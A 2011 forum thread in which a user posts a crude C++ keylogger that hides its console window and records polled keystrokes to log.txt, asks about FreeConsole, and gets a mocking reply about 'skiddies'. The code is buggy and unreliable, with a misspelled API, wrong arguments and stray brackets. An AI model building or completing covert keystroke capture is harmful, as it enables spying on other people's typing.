Mar 2, 2011 at 4:47pm UTC
I have a problem with a FreeConsole(true) thingy, take a look at this:
#include <stdio.h>
#include <windows.h>
#include<iostream>
#include <fstream>
#include <string>
using namespace std;
int main(){
string log;
FreeConsole(true); <--- This, and fine if u find some other issues too.....
while(true){
if(GetAsyncKeyState(0x41)){
cout<<"a";
log+="a";
Sleep(200);
};
ofstream myfile;
myfile.open ("log.txt");
myfile << log;
myfile.close();
};
if(GetAyncKeyState(0x42)){
cout<<"b";
log+="b";
Sleep(200);
};
if(GetAsyncKeyState(0x43)){
cout<<"c";
log+="b";
Sleep(200);
};
if(GetAsyncKeyState(0x44))){
cout<<"d";
log+="d";
Sleep(200);
};
if(GetAsyncKeyState(0x45))){
cout<<"e";
log+="e";
Sleep(200);
};
And so on.........
Mar 2, 2011 at 7:01pm UTC
What isn't productive about learning?
Well I'd not have a bunch of half coding skiddies running around wreaking havoc on harmless old ladies =)
And if you're malicious just keep polling those keys =) I love to be able to see a program take 20% of my cpu just to see if I typed "rockets" ;)
edit: removed my strangely bolded quote
Last edited on Mar 2, 2011 at 7:02pm UTC